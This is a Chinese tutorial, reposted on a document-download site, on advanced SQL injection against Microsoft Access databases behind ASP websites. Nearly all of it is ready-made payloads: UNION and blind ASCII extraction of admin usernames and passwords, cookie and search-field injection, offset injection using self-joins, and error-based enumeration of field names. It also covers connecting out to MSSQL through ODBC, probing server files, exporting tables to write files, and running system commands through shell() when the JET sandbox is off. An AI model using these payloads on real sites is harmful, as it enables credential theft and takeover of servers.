Acce数据库注入高级玩法_access数据库使用心得

2020-02-28 其他范文 下载本文

Acce数据库注入高级玩法由刀豆文库小编整理,希望给你工作、学习、生活带来方便,猜你可能喜欢“access数据库使用心得”。

Acce数据库注入高级玩法

Acce数据库注入高级玩法,鉴于论坛的朋友要求,在这整理下,以飨读者。Acce数据库想对于MsSql来说可谓小巫见大巫,但是Acc的数据库在目前国内还是有一定的市场,其注入也很灵活。相信你看完本文就会了解到Acce也是很强大的。一,基础篇

猜解表名,这里借用啊D的语句: and exists(select * from 表名)猜解列名:

and exists(select 字段 from 表名)UNION法,在执行union之前建议进行下order by这样会更快。联合查询:

select name,paword,id from user union select user,pwd,uid from 如果遇到order by 错误提示,执行下2次union可解决

and 1=2 union select 1,2,3,4,5 from 表名 union select 1,2,3,4,5 from 表名 爆指定表名内容:

and 1=2 union select 1,2,3,4,5 from 表名 ASCII逐字解码法:

1、猜解列长度 猜解语句:

and(select top 1 len(列名)from 表名)>N and(select top 1 len(列名)from 表名)=N 其中N是数字,变换这个N的值猜解列长度,例如: and(select top 1 len(列名)from 表名)>1 and(select top 1 len(列名)from 表名)>6 如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用: select top 1 len(列名)from 表名

where 列名 not in(select top 1 列名 from 表名)

2、ASCII码分析法猜解用户和密码 ASC()函数和Mid函数 例如:mid(列名,N,1)ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码 猜解语句为:

and(select top 1 asc(mid(字段,1,1))from 数据库名)=ASC码(通过转换工具换)区间判断语句:

“......between......and......” 中文处理法: 当ASCII转换后为“负数”使用abs()函数取绝对值。

例:and(select top 1 abs(asc(mid(字段,1,1)))from 数据库名)=ASC码(通过转换工具换)ASCII逐字解码法的应用:

1、猜解表名:

and(select count(*)from admin)02、猜解列名: and(select count(列名)from 表名)03、猜解管理员用户个数:

and(select count(*)from 表名)=1 返回正常,表中有一条记录。

4、猜解管理员用户名的长度:

and(select len(列名)from 表名)>=

1、>=

2、>=

3、>=4。

5、猜解管理员用户名:

and(select count(*)from 表名 where(asc(mid(列名,1,1)))between 30 and 130)0 最后提交:

and(select asc(mid(列名,1,1))from 表名)=ascii的值

6、猜解管理员的密码:

按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密 码了。

搜索型注入漏洞利用猜解语句: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='% 将and 1=1 换成注入语句就可以了。cookie注入语句: javascript:alert(document.cookie=“id=”+escape(“44 and 1=1”));javascript:alert(document.cookie=“id=”+escape(“44 and 1=2”));猜解语句: 猜解长度: javascript:alert(document.cookie=“id=”+escape(“44 and(select len(paword)from admin)=16”))猜解内容: javascript:alert(document.cookie=“id=”+escape(“44 and(select asc(mid(username))from admin)=97”))二,高级篇 1,Acc的偏移注入

条件,知道一表名,一字段,一般来说ID字段还是有的。

假如你知道order by 出的列数是20,那么,要知道admin表里的字段数,可以这样,and 1=2 union select 1,2,3,4,5,6,7,8,* from admin 出错,继续,and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 逐一增加,直到返回正常 这里要说下盲注,假如and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin 返回正常,此时可能会爆出admin表的字段,取决于admin表的复杂程度和RP 假如到15时返回正常,说明admin的字段数为20-15=5个,下面来自联,自联还有一个重要的条件就是 admin的字段数*2

union select 1,2,3,4,5,6,7,8,9,10,* from(admin as a inner join admin as b on a.id=b.id)以id为条件,将admin表的字段数加倍,这个(admin as a inner join admin as b on a.id=b.id)是 admin表自连接,这样from 后面的表就会成为字段数加倍的表,前面10+2*5 = 20 个字段 就是合法的。* 代表的字段就会拓宽 加大username paword在可显示位置的几率。如果不在怎么办? 那么

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from(admin as a inner join admin as b on a.id=b.id)union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from(admin as a inner join admin as b on a.id=b.id)大家是否觉得很疑惑 10+ 2 + 5*2 = 22 > 20 但这条语句是合法的这个地方很关键,他为什么会是合法的语句,这个地方是技术核心 必须理解。前边是 22 后边是 20 怎么可能相等?因为a.id 和 b.id在 * 里是有的,那么计算机自动去掉重复的 保持集合里元素的唯 一性,这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱 很有可能让 username paword偏移到可显示的位置。如果还没成功 怎么办?

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from(((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)2,having语句,group by 语句

在Acce数据库里,也支持having 和 group by 语句,众所周知,这2个语句我们常用来枚举字段 名的,在Mql数据库中很好使。在acc中就有些别扭了。这里分情况讨论,a:如果站点的Sql查询语句为 select id,name,addre from 表名,也就是说查询的是特定的字段数 据,那么我们可以这么暴,productshow.asp?id=25 group by 1 having 1=1(数字型),如果字符 型就 ' group by 1 having '1'='1' 返回的错误:

Microsoft JET Database Engine(0x80040E21)试图执行的查询中不包含作为合计函数一部分的特定表达式 'id'。爆出id字段,继续,productshow.asp?id=25 group by 1,id having 1=1 返回错误:

Microsoft JET Database Engine(0x80040E21)试图执行的查询中不包含作为合计函数一部分的特定表达式 'email'。依次类推productshow.asp?id=25 group by 1,id,email having 1=1 b:如果站点的原来SQL查询语句为select * from product where id=“&ID&”,那么执行上述语句就会返 回这样的错误:

Microsoft JET Database Engine 错误 '80040e21' 不能将已选定 '*' 的字段中组合。/productshow.asp,行 18 这时我们可以这样爆字段,productshow.asp?id=25 having sum(1)=1(数字型),字符型(' having sum('1')='1')返回的错误:

Microsoft JET Database Engine 错误 '80040e21' 试图执行的查询中不包含作为合计函数一部分的特定表达式 'id'。/productshow.asp,行 18 可以看出爆出了ID 但这样很有局限性,只能爆出第一个id,其他的没办法了。那只能盲猜了。

productshow.asp?id=25 and id=1 不报错,productshow.asp?id=25 and name=1 返回错误: Microsoft JET Database Engine 错误 '80040e10' 至少一个参数没有被指定值。/productshow.asp,行 18 3.连接到MsSQL数据库

productshow.asp?id=25 and 1=2 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables 这样master库的第一个表名就出来了 获得后面的表名也很简单

union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where table_name not in(select top 1 table_name from [ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.ta bles)如果数据库里的ID是字符型

' union Select top 1 1,2,table_name from [ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=***;DataBase=master].information_schema.tab les where '1'='1' 返回的错误:

Microsoft JET Database Engine 错误 '80004005' ODBC--连接到 'SQL Server******' 失败。

如果这个错误返回延迟较长时间,说明database不允许连接,如果错误返回很快,没时间延迟,说 明提供的账号或者密码有误。4.映射本地驱动器

使用in语句,比如 productshow.asp?id=25 and 1=2 union select * from admin in '.' 返回的错误:

Microsoft JET Database Engine 错误 '80004005' Microsoft Jet 数据库引擎打不开文件'c:windowssystem32inetsrv'。它已经被别的用户以独 占方式打开,或没有查看数据的权限。

此查询可用于检测目录和文件,对于猜解网站目录很有用。

再比如:productshow.asp?id=25 and 1=2 union select * from admin in 'C:windowsODBC.ini' 返回错误:

Microsoft JET Database Engine 错误 '80004005' 不可识别的数据库格式 'C:windowsODBC.INI'。说明该文件存在,只是不是数据库。

productshow.asp?id=25 and 1=2 union select * from admin in 'C:windows123.ini' 返回错误:

Microsoft JET Database Engine 错误 '80004005' 找不到文件 'C:windows123.ini'。该文件不存在。5.写文件

说到写文件,这里不得不提下lake2的那篇文章,“SQL注入Acce导出WebShell” 如果我们执行这样的语句:

SELECT * into [test.txt] in 'd:web' 'text;' from admin SELECT * into [test.txt] in 'youripshare' 'text;' from admin 在d:web目录下就会生成test.txt文件,其内容就是表admin的内容,这条语句要执行是要有一定的 条件的,单句执行没什么问题,但是放到注入点里执行时,等待你的是2种结果:1.动作查询不能作为 行为的来源。2,如果在子语句,会提示子语句不支持此查询,也就是说不能在子查询和UNION查询中,实用价值不大实属鸡肋。但是这个还是必须得知道的。

6.执行系统命令

首先有必要介绍一下沙盒模式

为了安全起见,MS在Jet引擎的Sp8中,设置了一个名为SandBoxMode的开关,这个开关是开启一些特殊 函数在另外的执行者中执行的权限的.它的注册表位置在HKEY_LOCAL_MACHINESoftWareMicrosoftJet4.0EngineSandBoxMode里,默认是2.微软关于这个键 值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内, 2则是必须是Acce的模式下,3则是完全开启,连Acce中也不支持.Acce也能执行系统命令,有个前提条件就是沙盒模式要是关闭的。如:

productshow.asp?id=25 and 1=2 union select curdir()from msysacceobjects and 1=2 union select dir('c: ')from msysacceobjects union select environ(1)from msysacceobjects union select filedatetime('c:boot.ini')from msysacceobjects union select filelen('c:boot.ini')from msysacceobjects union select getattr('c: ')from msysacceobjects union select shell('')from msysacceobjects 可执行文件将以IIS匿名账户运行

如果沙盒模式开启的话,就会返回这样的错误 Microsoft JET Database Engine 错误 '80040e14' 表达式中 'curdir' 函数未定义

《Acce数据库注入高级玩法.docx》
将本文的Word文档下载,方便收藏和打印
推荐度:
Acce数据库注入高级玩法
点击下载文档
相关专题 access数据库使用心得 玩法 高级 数据库 access数据库使用心得 玩法 高级 数据库
[其他范文]相关推荐
    [其他范文]热门文章
      下载全文